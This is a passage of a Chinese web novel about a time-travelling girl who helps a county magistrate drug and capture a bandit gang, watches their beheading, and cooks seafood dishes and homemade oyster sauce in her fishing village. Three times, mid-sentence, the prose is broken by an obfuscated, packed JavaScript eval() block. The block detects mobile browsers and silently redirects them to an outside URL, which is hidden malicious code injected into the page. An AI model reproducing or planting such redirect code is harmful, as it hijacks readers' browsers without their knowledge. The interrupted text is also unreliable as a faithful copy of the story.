裴昱臣见状挡在她的身前,捏着嗓子矫揉造作地说道:“大当家,你怎么又相中别人了?她这干巴巴的身子有什么好的?” 大当家醉的不轻,瞧着眼前粉衣女子嗔怒的样子,心里十分受用,“我……我自然是更中意你的。”说罢,他跌跌撞撞地扑向裴昱臣,覆上他的肩膀。 云楚沅不敢再出声,而是小心翼翼地观察着四周,默默记下这些土匪的面容以及不远处巡逻队分布的位置。 据裴昱臣得到的消息,这黑水寨满打满算有五十余人,在这院中吃喝的人约莫有二十三四人,皆是寨子里的小头目。 剩下的二十人分两队在寨子的正门和后山巡逻,不远处的小队是正门放哨的那一批。 “好菜来啦!大当家您今日猎来的鹿,小的给您炖煮了。”伙夫端着一大盆鹿肉汤送了上来。 小火慢煮过的鹿肉散发着醇厚的香味,土匪们纷纷来了精神,这可是难得的珍馐,富商贵族都难得吃上一回,他们老大今日运气好,在林中寻到了一只小鹿。 伙夫拿木勺舀起一勺肉汤,先递给了大当家,炖得软烂的鹿肉在碗中摇晃,把大伙肚子里的馋虫都勾了出来。 大当家不客气地接过来,连吃两大碗,抹了把嘴,意味深长地盯着裴昱臣说道:“小美人,今夜就叫你知晓这鹿肉的好处。” 裴昱臣偏过头遮住自己扭曲厌恶的表情,心里嘲讽道,待会你就知晓这鹿肉到底怎么好了。 云楚沅滴溜溜的眼珠子不停打量着毫不起眼的伙夫,这就是裴昱臣派到黑水寨的卧底吗?当真是其貌不扬。 这些土匪欺男霸女的日子过久了,还真当自个是这临海县的土皇帝了?如此不设防,难怪他们会中招。 一炷香的时间过去,土匪们一个接一个地栽到下去,汤中的蒙汗药已然生效。 裴昱臣一把甩开大当家攀在他肩头的手掌,脸上满是厌恶之色,他扯下粉色外衫和发髻中的珠钗,丢到地上。 “大人,小人已经点燃烟火,通知山脚下的人往山上赶来。”伙夫恭敬地向裴昱臣行了一礼。 裴昱臣点头,“你留在此地接应他们,顺便将地上这些人绑起来,一同押回县衙。我去解决后山剩余的土匪。” “是!” 伙夫掏出一大把麻绳,手脚麻利地开始捆绑被药趴下的众人。 衙门里负责治安和缉捕的捕快也就三十来人,要想拿下黑水寨,不能猛攻,只能智取,因此裴昱臣才会出此下策。 裴昱臣安排了这出里应外合的计谋,他以身入局牵制住黑水寨的头目,伙夫趁机下黑手,衙役们从正门进攻,剩下的人也就不成气候了。 他冲云楚沅使了个眼色,两人一同往后山走去。 云楚沅明白他的意思,这是听过他的计划后,她主动提出来的点子。 裴昱臣独自一人对上后山的十人巡逻队,不一定能有十成的把握,她可以先引走一部分人,助他一臂之力。 想到这,云楚沅将发丝揉乱,装出一副惊慌失措的样子向后山的方向跑去。 “站住!” 脚踩在落叶上的“哗啦”声,自然瞒不过土匪们的耳朵,有五人直直追了上来,其他人守在原地。 云楚沅喘着粗气穿梭在灌木丛中,寂静的夜里“呼哧呼哧”的呼吸声清晰可闻,荆棘划过她的手臂留下青紫的伤痕。 顾不上疼痛,云楚沅心中谨记着自己的使命,只要为裴昱臣拖延时间,解决那几个人后,他就会追上了。 脚下突然出现一个树桩,云楚沅一不小心被绊倒在地,扑倒之时,她的手心划过粗糙的泥土地,顿时擦出一道道触目惊心的血痕,伤口处布满沙砾和泥土。 云楚沅强忍疼痛,从地上爬起来,一瘸一拐地继续往前走去。 受伤的她很快被身后的土匪追上,他们举着刀将她团团围住,“小妞,胆敢偷跑?小命不要了?” 其中一人更是直接将刀架到了她的脖子上。 云楚沅不禁苦笑,自穿越到古代,她一直都在面临磨难,难道她就要命丧于此了吗? 闪着寒光的刀在她白皙的脖颈印出一道血痕,她睫毛颤抖,轻轻闭上了眼睛。 “铛!”一声脆响。 林中飞来一颗小石子,弹落了那柄弯刀。 云楚沅后知后觉地睁开眼,身着白色里衣的男子从天而降,他的手中同样拿着一把弯刀。 裴昱臣一脚踢在掉了刀的土匪的胸口,将其踹倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716721|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把云楚沅护在了身后,小声说道:“云姑娘,抱歉,在下来迟了。” 云楚沅摇头一笑,“不,裴大人来的正是时候。” 距离最近的一个土匪挥刀砍来,裴昱臣抓着云楚沅的手腕险险避过。 “云姑娘,你先躲起来!” 云楚沅马不停蹄地窜到一棵树后,保证自己不会影响到他的发挥。 剩下的三个土匪看到同伴倒地不起,目眦欲裂地齐齐冲了过来。 裴昱臣身手矫健,步伐轻盈,躲过连续的劈砍过后,瞅准时机,一刀割伤一人的后腿,令他丧失行动能力,又划过另一人的腹部,使其倒地哀嚎。 最后一人见势不妙,转身想要逃跑,裴昱臣乘胜追击,手起刀落,挑断他的脚筋。 转眼间,五名土匪皆已负伤,瑟瑟发抖地连声求饶。 云楚沅见裴昱臣已经搞定了他们,这才松了口气,从树后走出来,向他施了一礼,“裴大人,您又救我一命。” “姑娘请起,你也是为了助我,这才身陷险境。”裴昱臣虚扶她的手臂,一下子注意到她破损的衣袖和滴着鲜血的手心。 “姑娘受伤了?” 裴昱臣用刀割下衣摆处的布条,正想为她包扎,又觉不妥,遂将布条递到她的手中,“姑娘先暂时止住血,待回到衙门我请大夫来为你上药。” 云楚沅接过布条随意地在手上缠了几圈,“不用了,这点小伤过几日就好了。” 裴昱臣依旧坚持道:“姑娘也算为我而伤的,倘若裴某不做表示,良心难安。” 既然他都这样说了,云楚沅只好点头应下。 两人等衙役们前来会和后,一同回到了临海县的县衙。 天色已晚,裴昱臣派人骑马去小渔村云家递了个消息,请大夫为云楚沅诊治过后,留她在县衙内宅的西厢房住了一夜。 翌日,云楚沅睁眼看到陌生的床幔,反应了一会儿,才想起自己身处何地。 她麻利地起身,洗漱收拾了一番,想着今日便要回小渔村去,离开之前,就为裴县令做一顿早膳报答昨日之事吧。 县衙的厨房内只有一名厨子,云楚沅说明来意后,厨子立马答应了她自己动手的请求。 这女子能住进县衙的后宅,指不定和大人关系匪浅,厨子自觉参透了隐秘之事,放心地离开了。 云楚沅取下一只陶制砂锅,处理好鲜虾和螃蟹,用虾头炒出虾油,开始熬粥,一刻钟后,香菇、大虾和螃蟹相继入锅,调味后撒上葱花,一锅热气腾腾、鲜甜清淡的海鲜粥就煮好了。 在书房处理公务的裴昱臣听到下人通报后,令人将门外的云楚沅请了进来。 “云姑娘,你手上伤势未愈,怎能操劳膳食之事,交给下人去做就好了。”裴昱臣赶紧起身接过她手里盛着热粥的木盘,不赞同地看向她包住的双手。 “不打紧的,裴大人帮我许多,我也想为您做点事,正巧大人爱吃我做的吃食,一碗海鲜粥实在不足挂齿。”云楚沅诚恳地说道。 裴昱臣知晓她是真心实意的,便不再多言。 轻舀一勺海鲜粥送入口中,咸鲜之味在舌尖蔓延开来,他略微点头,神色舒缓,早膳用此粥,实属妙哉。 5. 青天大老爷 剿匪之事顺利结束,裴昱臣欲将黑水寨众人斩首示众、以儆效尤,同时也是给临海县苦之久矣的百姓们一个交代。 城东的菜市口挤满了熙熙攘攘的民众,维持秩序的衙役们神色严肃,围成一圈阻挡过分靠近的百姓。 临时搭建的高台上,裴昱臣身穿深青色的官服,头戴乌纱帽,面容威严,高坐于案桌后。 两排门神一般的衙役,手持杀威棒,震慑着在场之人,四周充满肃杀之气。 临海县的百姓头一回见如此大的阵仗,很是稀奇,皆拖家带口地前来围观。 一盏茶的时间过后,铁链拖行在地上的声音从远处传来,几名土匪被五花大绑着押送了上来,他们皆是黑水寨的当家,为首的大当家满脸横肉、怒目圆睁,此刻沦为阶下囚,早已失去昔日里为非作歹时的耀武扬威。 “威——武——” 衙役们低沉的吼声响起,台下嘈杂的众人被这气势磅礴的氛围唬住,纷纷住了嘴,现场瞬间寂静下来,落针可闻。 裴昱臣抬手示意衙役将土匪押至高台中央,他目光如炬,扫视过这些恶贯满盈、被绳之以法的匪徒,心中感到畅快,为民除害是他为官的初衷。 寒窗苦读十几载,一朝考中状元郎,只是如今的朝堂不太平,皇帝年事已高,太子母族式微,以姚丞相为首的一群文官拥趸二皇子,对那九五之尊的宝座虎视眈眈。 裴昱臣不愿卷入夺嫡之争,拒绝姚党的拉拢,选择做个远离京城的地方小官,但他的雄心壮志未曾泯灭,他坚信自己即便身处偏远之地,依旧能做出一番功绩,造福一方百姓。 裴昱臣拿起罪状文书,高声宣判道:“黑水寨匪类,作恶多端,为祸一方百姓,搅得临海县不得安宁,尔等罪行罄竹难书,今日本官便令汝等伏法受诛!” 洪亮的声音,传进每一名百姓的耳朵,回荡在菜市口的各个角落,引得周围民众拍手叫好。 几个土匪面色灰败,两股战战,对着县令破口大骂,却都无法改变即将迎来的斩首之刑。 裴昱臣面色冷峻,站起身来理了理官服,从旁边县丞的手中接过刑签,用力掷于地上。 监斩官高声复述行刑的命令,刽子手高举着鬼头刀大步上前,在众目睽睽之下,喷洒上一口烈酒。 锋利无比的刀刃闪烁着寒光,土匪们见状瘫软在地,不死心地拼命挣扎,手腕被绳索磨破,被衙役死死按住。 刽子手绕着几人走了一圈,最后将目光锁定在大当家身上,他双手紧握刀柄,高高举过头顶,却又稍作停顿,凝聚力量的同时,延长这位臭名昭著的恶徒临死前的恐惧。 “咔嚓”一声脆响,刀光闪过,鲜血喷涌而出,飞溅至刽子手的脸颊,大当家人头落地,残余的身躯无力栽倒在地。 围观的百姓们虽早有预料,但仍被吓得发出阵阵惊呼,妇孺孩童更是捂住眼睛,不敢细瞧这可怖的一幕。 其余土匪吓得屁滚尿流,跪在地上不停地磕头求饶,可刽子手的刀不留情面,干脆利落地依次斩落,宛如砍瓜切菜一般轻易了结这些恶徒。 鲜血流淌在青石板上,触目惊心的一片红,缓缓蔓延至高台边缘,“啪嗒啪嗒”滴落下去,近处的百姓不由后退一步。 裴昱臣紧抿着嘴唇,转身面向台下的百姓,朗声道:“此等匪徒,罪孽深重,皆已伏诛,望诸位引以为戒,安分守己,不行恶事。若有冤屈,尽管来县衙敲响鸣冤鼓,本官定当秉公执法,为民伸冤,还临海县一片安宁!” 台下百姓闻言激动不已,纷纷跪地叩首,齐声高呼青天大老爷。 大当家的头颅被高悬在市集门口,人群散去,只余一地血迹。 街道逐渐恢复平静,裴昱臣轻叹一口气,转身走下高台,他深知这不过是为官之路的开始。 日后,还有诸多事务等他操持,临海县还有许多藏污纳垢之处,不平之事亟待有人伸张正义。 云楚沅在人群后旁观了这场刑罚,这是她第一次亲眼目睹有人死亡,冲击力不可谓不大。 同时,她也清楚这群人是罪有应得,他们手上的人命只会多不会少。 回到小渔村,云楚沅紧绷的那根弦放松下来,昨日的经历当真是惊险万分。 “阿姐!你终于回来了!” 楚河和楚清焦急地站在村口张望,海风吹起他们两个单薄的衣衫,却吹不走他们心头的担忧。 “阿姐,出了何事?昨日你怎么没回来?”云楚河面色凝重地走近,手指颤抖地抓住她的衣角。 云楚沅蹲下身子搂住两个孩子,柔声说道:“阿姐帮了县令一点小忙,没出事,你们不用担心。” 云楚河悄悄松了口气,他昨夜辗转反侧,提心吊胆,惦念着长姐是否遇上了祸事。他可不想即失去爹爹和娘亲之后,再失去阿姐。 精神不济的云楚沅回到侧屋,小憩了一会儿,身上的疲惫渐渐散去。 云楚沅坐在床榻上数着陶罐里的银子,这是前几日出海捕捞后卖了好几篓鱼虾赚来的,碎银子加起来约莫有十两。 金手指可真好用啊!云楚沅喜滋滋地想,要是多出海几趟,她都可以直接买下一间铺子了。 午时一刻,云楚沅走出房门准备做饭,灶房里已经升起了青烟,原是楚河和楚清体谅她劳累,先一步煮上了白饭。 “真乖,阿姐为你们做好吃的。” 云楚沅撸起袖子,从院中的大水缸中捞出一条不小的黄花鱼,刮鳞后去腮、去内脏,往鱼身两侧划出花刀,用姜片和黄酒腌制一会去去腥气。 她打算做一道红烧黄花鱼,一是犒劳一下辛苦多日的孩子们,二来她也想要吃顿好的压压惊。 起锅烧油,云楚沅将黄花鱼小火慢煎至两面金黄,盛出备用。 接着取出一只小碗调制灵魂酱汁,三勺酱油、一勺豉汁、一勺黄酒、一勺豆酱、半碗清水,再加少许糖。 这些调料是云楚沅走遍临海县酱坊和调料市买来的,每一样都是精心挑选过的。 古代的调味品和现代有所不同,酱油也没有老抽和生抽之分,云楚沅凭借多年下厨的经验,做出菜品的味道与从前有九分像。 锅中的底油加蒜末爆香,倒入黄花鱼和酱汁炖煮一刻钟,待汤汁浓稠便可出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716722|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅,最后再撒一把葱花增香。 云楚河和云楚清兄妹二人轻嗅着空气中的鱼香味,对着灶房的方向望眼欲穿。 阿姐的手艺愈发好了,也许就连湘香馆的饭菜都比不上他们长姐做的,虽然他们不曾去过那家县里有名的饭馆,但在二人心中,自家阿姐的厨艺是无人能及的。 “开饭了。” 红烧黄花鱼放在木桌的最中间,旁边还有一道凉拌海带丝做配菜。 三人拿起筷子,不约而同地伸向中间的红烧鱼。 云楚河瞅准鱼腹,夹了一块嫩鱼肉,绵软的鱼肉在嘴里化开,咸甜的酱汁在舌尖流转,他咂摸着嘴,表情沉醉地说道:“阿姐,这是我吃过最好吃的鱼。” 一旁的云楚清挑了鱼背的位置下筷,鱼肉连着鱼皮一起被扯下,鱼肉鲜嫩,鱼皮滑腻,两者一同入口,宛如一团嫩豆腐滑入喉咙,吃得小姑娘的双眼骤然放光。 黄花鱼吃得干净,只剩下一根主骨,两人又将汤汁倒入碗中伴着白饭吃,这浓郁的酱汁特别下饭。 一直无人问津的凉拌海带丝这才有人动筷,清脆爽口、酸酸辣辣的味道让人眼前一亮。 焯过水的海带丝去除了原本的腥味,醋、蒜末、茱萸是其中不可或缺的调料,一点糖提鲜,一勺酱油增味,酸辣甜咸,滋味丰富。 吃饱喝足的三人走出家门沿着海边漫步,午时的海岸风景宜人,金色的光撒在广袤无垠的海面上,宛如一幅色调柔和的画卷,赤脚行走在沙滩,浪花拍在脚背上驱散些许燥热。 “楚沅,带清清他们出来玩呀?” 云楚沅听到有人叫她,回头望去,来人是隔壁钱家的小女儿春香。 “春香姐,好巧啊。” 春香腼腆一笑,从手里提着的桶里拿出两串贝壳手链递给她和云楚清。 “这是我自己编的,送给你们。” 每一枚贝壳都十分精美,有圆形的、扇形的、有螺旋状的,外壳光滑,泛着珠光,在阳光的照射下熠熠生辉。 云楚沅戴到腕间轻轻晃动,相互碰撞的贝壳发出清脆悦耳的声响。 “春香姐,你的手真巧。”云楚沅笑着说道。 云楚清赞同地点头,“春香姐姐绣工也好,做的荷包可好看了。” 少女不好意思道:“们你喜欢就好。”说完她就转身离开了。 看着钱春香离开的背影,云楚沅的脑海里回忆起与她相关的事。 钱春香年长云楚沅三岁,为人勤劳朴实,是个热心肠的好姑娘,偏偏在婚事上屡屡碰壁。 她订过两门亲事,前头那个染上一场风寒去了,后头那位出海时船翻溺亡。 自此以后,十里八乡的媒人都对她避之不及,有些碎嘴子的妇人给她冠上了一个克夫的名声。 云楚沅叹了口气,不禁替她感到不平,女子在这世道活得艰难,世人对女子的要求极其苛刻。 两个未婚夫婿的死明明和钱春香没有丝毫关系,可就是有愚昧无知之人喜欢把莫须有的罪名强加到女子身上。 云楚沅想着,以后有机会,一定要帮衬春香姐一把。 6. 海蛎子 二月中旬,天朗气清,恰逢退大潮,海岸边露出一大片滩涂,隐匿在深处的礁石群也显现出来。 云楚沅带着弟妹出来赶海,脚踩湿润的细沙,留下一串深深的脚印,又很快被涌上来的浪花抚平。 嶙峋的礁石形状奇特,趴伏在岸边,犹如大海忠实的守望者,上面遍布贝类和藻类。 小渔村的渔民四散在各处,穿梭在礁石群间,避开石头尖锐的棱角,寻找着躲藏在石缝中的海鲜。 吸附在礁石上密密麻麻的青灰色身影很是眼熟,云楚沅走进一瞧,十分惊喜,这不是海蛎子吗? 海蛎的外壳纹理粗糙,边缘是微微的卷边,用力撬开外壳,露出里面肥美饱满的海蛎肉。 云楚沅简单清洗处理过后,迫不及待地塞了一只海蛎肉进嘴,生吃海蛎最大程度地保留了它原汁原味的鲜甜,口感细腻爽滑,十分弹牙,这一口下去,甚是满足。 “楚河、楚清,这些牡蛎个头大,咱们多挖一些,回家我给你们做好吃的!”云楚沅兴致勃勃地说道。 两个孩子闻言眼神一亮,顿时打起了精神,手上的动作加快了不少。 云家姐弟一人提着一个竹篓,步履匆匆地往家赶,路上遇到同村的村民,打招呼都带着几分敷衍,他们三人的心思早就飞到了今日要吃的牡蛎大餐上了。 归家后,云楚沅指挥着两个弟妹接来两大盆水。 “哗啦哗啦!” 海蛎子全被倒入木盆中,云楚沅取来柳枝刷子用力刷着,洗去海蛎子表面的泥沙污垢,渐渐地,水面泛起一圈圈浑浊的涟漪。 洗净的海蛎子捞出,放置在案板上,云楚沅拿起一把锋利的小刀,将刀尖对准硬壳较宽的那一侧,插入缝隙之中,慢慢转动刀柄,动作小心地贴着壳刮一圈,避免破坏里面的海蛎肉。 “咯嘣”一声,坚硬的外壳被撬开,鲜嫩的海蛎肉静静躺在其间,夹杂着些许海水和沙砾。 用清水冲洗一下残留的泥沙,接着处理海蛎肉上的内脏和黑色的脏东西,云楚沅对此十分娴熟。 “咚咚咚!”厨房传来清脆的声响,云楚河按照阿姐的吩咐剥了几头蒜,又用石臼将十几颗茱萸捣碎。 云楚沅走进来后,将桌上的蒜瓣用刀背拍碎碾压,蒜末如细沙一般散在案板上。 一旁的云楚清蹲在灶台前帮忙烧火添柴,猪油在烧热的铁锅中滋滋作响,云楚沅将蒜末和茱萸碎倒入其中。 “滋啦”一声,蒜香混合着辣味如同一股无形的浪潮扑面而来,迅速在灶房中弥漫开来。 锅中雪白的蒜泥变得金黄,云楚沅估摸着加入酱油、豉汁、盐、糖,继续翻炒。 云楚沅特意多做一些蒜蓉酱,装满了一个小陶罐,这用油熬制的蒜蓉酱比较耐存放,而且用来拌饭、拌面、做蘸料都是极好的。 她把海蛎子摆放出来,再将精心熬制的蒜蓉酱浇在上头,饱满白净的海蛎肉,在金黄的蒜蓉酱的映衬下,显得格外诱人。 最后将海蛎送入蒸笼,不一会儿,朦胧的雾气升起,伴随着海蛎与蒜蓉相融合,散发出让人垂涎欲滴的香气。 云楚沅给翘首以盼的楚河和楚清一人分了一只,两人顾不上烫,急切地将其倒入嘴中。 “呼呼!”两人用手在嘴边扇着风,轻咬着肥美多汁的蒜蓉海蛎。 云楚沅摇头失笑,从面粉罐舀出一勺面,准备做海蛎煎饼。 面粉加入鸡蛋、水和盐,调成略微粘稠的丝滑面糊,包裹住海蛎肉。 油热后,一勺勺带着海蛎的面糊下锅,小火慢煎,面糊渐渐凝固,慢慢出现金黄的焦边,随即翻面,待煎至两面金黄,外酥里嫩的海蛎煎饼就做好了。 云楚沅又从竹篓底部掏出一团宛如深褐色头发的海发菜。 海发菜又名龙须菜,每次赶海,都能看见许多飘在海岸边,它的口感很脆,咀嚼起来能听到“咯吱咯吱”的声音。 发菜与发财同音,寓意很好,是海边渔民们常吃的一种海藻,可以凉拌,或是清炒,还能煲汤。 云楚沅当下就打算用它做一道发菜海蛎汤,既有发菜的爽口,又有海蛎的滑嫩。 烧开的热水,加入姜片、豆腐和海发菜,裹粉的海蛎肉倒入锅中,最后加盐和葱花。 这道汤呈现出淡淡的奶白色,用勺子轻轻搅动,纤细如丝的发菜在汤里飘荡,海蛎如同一颗颗珍珠点缀其中。 云楚沅从柜子里取出两只陶碗,盛了一碗发菜海蛎汤,另一个碗又装了些海蛎煎饼和蒜蓉海蛎。 “你们两个先吃吧,我去给春香姐送两份吃食,她教会楚清做针线活,上次还赠我们贝壳手链,我还未曾答谢过人家。”云楚沅一边说着,一边往院子外走去。 “阿姐,我等你回来吃。” “我也是。” 云楚河和云楚清乖乖地坐在木凳上,并未动筷。 “那我尽快回来。”云楚沅冲他们笑了笑。 “叩叩叩。” 云楚沅站在距离她家十几米远的石砌房屋外敲门。 “吱呀”一声,木门从里面打开,走出来一位面相和善、身材矮小的妇人,正是钱婶,她出声问道:“楚沅,有什么事?” “钱婶,春香姐在吗?这是我做的吃食,想感谢春香姐对我们家楚清的照顾。”云楚沅笑眯眯地说道,将手中端着的碗递到钱婶跟前。 院子里听到说话声的春香走了出来,脸颊微红,“楚沅,你无需客气,这只是小事一桩。云姨以前对我也很好,楚清还年幼,我多关照她是应当的。” “是啊,楚沅,不用如此见外。”钱婶也赶紧回道。 云楚沅对此并不同意:“礼尚往来,若是只有你一人付出,我们却理所应当地欣然接受,那我们云家人岂不成了白白占便宜的小人了吗?” 正在她们互相推托之际,一道鬼鬼祟祟的身影从门后探了出来。 “哟,这不是楚沅吗?给我们家送东西来了?” 说话之人是钱家的儿媳林秀秀,她一脸精明,眼珠子不安分地四处瞅着,笑盈盈地跨步上前,挤开钱婶和钱春香,接过了云楚沅手中的碗。 “娘,小妹,难得人家楚沅送东西给我们,怎么能不收下呢?岂不是辜负了人家一片心意。” 林秀秀斜了钱春香一样,阴阳怪气地说道:“有些人成日吃家里的、用家里的,都不知往家里带些东西,真是不知羞愧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716723|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钱春香的脸色一下子变得苍白,一下子又涨得通红,低垂着头,不再言语。 钱婶的脸色也很难看,白了林秀秀一眼,“我们钱家还轮不到你做主,我的东西想给谁就给谁,你不乐意,就滚回娘家去住。” 林秀秀的娘家在隔壁的边海村,她家里是出了名的重男轻女,林母连生六个姑娘才得了个宝贝儿子,自然不在意女儿们的死活。 排行老四的林秀秀有点小聪明,知道为自己打算,早早巴上了钱家独子,要死要活的非他不嫁,这才脱离苦海。 林秀秀不敢再跟婆婆呛声,转头又对着云楚沅说道:“楚沅啊,我听说你在县城卖吃食赚了不少银子,可不要忘了我们这些同乡啊,也教教我们怎么做生意呗。” 林秀秀此人不算大奸大恶之辈,就是喜欢攀比,总是盯着别人家的事。 云楚沅面上的笑容没有丝毫变化,不紧不慢道:“钱家嫂子,我这手艺跟我娘学的,算是她留下的遗产,我怎能随意交付给外人呢?” 林秀秀噎了噎,没想到平日里说话细声细语的云家小姑娘还有这般牙尖嘴利的时候,竟搬出死人来膈应她,这死了爹娘之后,真是没了教养。 不等林秀秀将这话说出口,钱婶对她呵斥道:“你还要不要脸?怎好意思讨要别人家谋生的秘方?改日我去林家问问,你老娘是不是只管生不管养,才会教出你这样没脑子的货色!” 林秀秀撇撇嘴,小声嘟囔道:“就会拿我娘家人说事。” 钱婶推了她一把,怒道:“赶紧进去做饭,别在这给我们老钱家丢人现眼了,我儿子娶了你真是倒了八辈子血霉!” 林秀秀不情不愿地端着两碗菜回去了。 钱婶握住云楚沅的手,歉意地说道:“楚沅,别理那个拎不清的婆娘,我们钱家是本分人,断然不会觊觎你手里的吃食方子。” 愧疚的钱春香着急地解释:“楚沅,我从来没有这样的想法,我嫂子说的糊涂话你不要放在心上。” 云楚沅心里清楚是怎么回事,她爹娘生前就和钱家走得近,自然提起过他们的为人。 他们一家都是勤勤恳恳的老实人,就算儿媳妇是个搅家精,有二老压在头上,也翻不出什么风浪来。 即便相信她们的为人,云楚沅也不会在面上表现出来,毕竟,防人之心不可无。 “钱婶,春香姐,我知道钱嫂子就是嘴上说说,当不得真。” 顿了片刻,云楚沅煞有其事地说道:“实不相瞒,这配方是我们云家祖传的,向来只传女不传男,外人要想学,得做我们云家的媳妇。” 接着,她又装作一副惋惜的样子,叹了口气,“唉,可惜啊,钱嫂子生不逢时,和我们家楚河年纪相差太大,差了点缘分。可谓是,君生我未生,我生君已老呀。” 这番夸张又荒唐的话术砸下来,唬得钱婶和钱春香一愣一愣的,两人信以为真。 “这这这,原是如此。村里还有几个懒婆娘在背后说你忘恩负义,我回头定要和她们好好说道说道。” 云楚沅挑了挑眉,看来眼红她的人还不少啊。 可那又怎样?谁叫她有本事呢,以后她们嫉妒的日子多了去了。 7. 自制蚝油 “阿姐,你这是做什么呢?”梳着双丫髻的小丫头好奇地眨着灵动的双眸。 经过这段时日吃食上的花样百出,云楚沅将两个孩子喂养得圆润了不少,他们不再像刚见面时那样瘦小。 云楚沅轻捏了一样云楚清长了肉的脸蛋,笑着说道:“阿姐在做一种酱料。” 剩余的海蛎还有不少,云楚沅打算做一些蚝油。 蚝油是用牡蛎熬制而成的,味道极鲜,是云楚沅做菜时不可或缺的一味调料,炒菜时加一点蚝油,可以让原本寡淡的菜肴增添更多风味。 云楚沅把海蛎肉放入锅中,小火慢熬,肉质逐渐收缩,汁液慢慢释放出来,乳白的汤汁像是大海浓缩的精华,散发着淡淡的鲜甜味。 熬制海蛎汁的过程需要十足的耐心,云楚沅全程专注地守在灶台前,时不时地用勺子搅拌,避免其粘锅。 “阿姐,我来替你。” 云楚清看着她已经站了有一刻钟,期间重复做着搅拌的动作,担心长姐受累,她自告奋勇,接过了云楚沅手中的大勺子。 “清儿真贴心。”云楚沅对小妹的关怀十分受用,搬来小板凳坐在一旁,轻轻揉捏着酸胀的手臂,这熬酱料可真是个体力活。 “对了,楚河跑哪去了?” 院子里很安静,往日里小弟都要照看水缸里养的鱼虾,今日倒是没听到他的动静。 云楚清一边认真地搅动,一边回道:“哥哥跟着阿汤哥去近海处捞毛虾去了。” 毛虾体型扁小,壳薄肉少,煮熟晒干后便是虾皮,毛虾还是做虾酱的原料。 云楚沅来了兴趣,待小弟回来,她又有事做了,住在海边,就是没有闲着的时候。 “楚河何时与阿汤哥走得这么近了?” 她们口中的阿汤哥是住在村尾的青年,他爹是逃荒来的,娶了小渔村的孤女,在此落户定居。 只是阿汤他爹身子骨不好,她娘难产落下了病根,待他五岁时,爹娘先后撒手人寰,只留他一人艰难度日。 阿汤从小就沉默寡言,和村里人不亲近,还有不懂事的孩子见着他就朝他扔石头,笑话他是个扫把星,克死了爹娘。 如今他都年过二十五了,仍旧独身一人,没有亲属为他张罗,他自个也不放在心上。 云楚沅实在好奇,这样孤僻的一个人,怎么和她家小弟扯上了关系。 云楚清欲言又止地看了她一眼,犹豫道:“阿姐,我说了你可别气。” “说吧,什么事还要瞒着我呀?” 云楚清吞吞吐吐道:“咱爹娘刚过世,阿姐你躺在床榻上昏迷不醒的那几日,我和哥哥一出门就被人指指点点,村里的小孩和哥哥起了冲突,是路过的阿汤哥拦住了他们。” 云楚清一想到那群小孩恶毒的话,就双眼发红,他们说她爹娘命薄,接不住龙凤胎的福气,还说她与哥哥不是福报是孽报。 “阿汤哥人可好了,经常悄悄给我们递糖吃。” 云楚沅听了小妹的话,恨得咬牙切齿,谁这么缺德,专戳别人的痛处,“清儿,告诉阿姐,是谁家的小孩欺负你们。” 云楚清偷瞧了一眼阿姐难看的脸色,小声说道:“是刘家的。” 怪不得,她就说谁家的孩子嘴这么毒,原是刘家的三兄弟! 刘家婶子和她娘同日生产,她一下子生了三个大胖小子,可不就腰板挺直,鼻孔朝天,在村子里横着走。 结果村里的人看不惯她这副德行,纷纷夸赞云家好福气,添了一对龙凤胎,一句龙凤呈祥堵住了刘家婆娘的嘴,掐灭了她的气焰。 自此以后,刘家婶子就单方面和他们云家结下了梁子,处处找茬。 这回定是她嘴上没个把门,在家里说他们家的坏话,叫三个小子学了去,这才跑到楚河和楚清面前说这些难听话。 “砰!” 云楚沅重重地拍了一下桌面,怒道:“刘家人竟如此没有教养,等着瞧吧,他们早晚会遭报应。我倒想知,这般泼皮长大了会有什么出息!” 从古至今,溺爱孩子可没有好下场,他们无不是长成自私自利、不知感恩之人,这刘家的好日子还在后头呢。 “哼,阿姐定要给他们点教训。” 云楚沅站起身,接过小妹手中的勺子,叫她坐下歇歇。 一个时辰后,汤汁变得浓稠,颜色也成了深褐色。 而后,加入盐、糖、酱油调味,既能提升鲜味,又不会盖住牡蛎本身的风味。 接下来就是进行二次浓缩,云楚沅把海蛎肉捞出,将汤汁用纱布过滤,再加清水稀释,继续熬煮至黏稠。 云楚沅舀出几勺淀粉,加水调成水淀粉,缓缓将其倒入锅中,边倒边快速搅动。 淀粉起到了粘合作用,让原本稀薄的汤汁渐渐变得浓稠,有了蚝油的质感。 经过数个时辰的慢熬,海蛎汁变得色泽红亮,浓稠似蜜,宛如凝固的琥珀,散发着诱人的光泽。 这是云楚沅头一回自己动手做蚝油,看样子很成功。 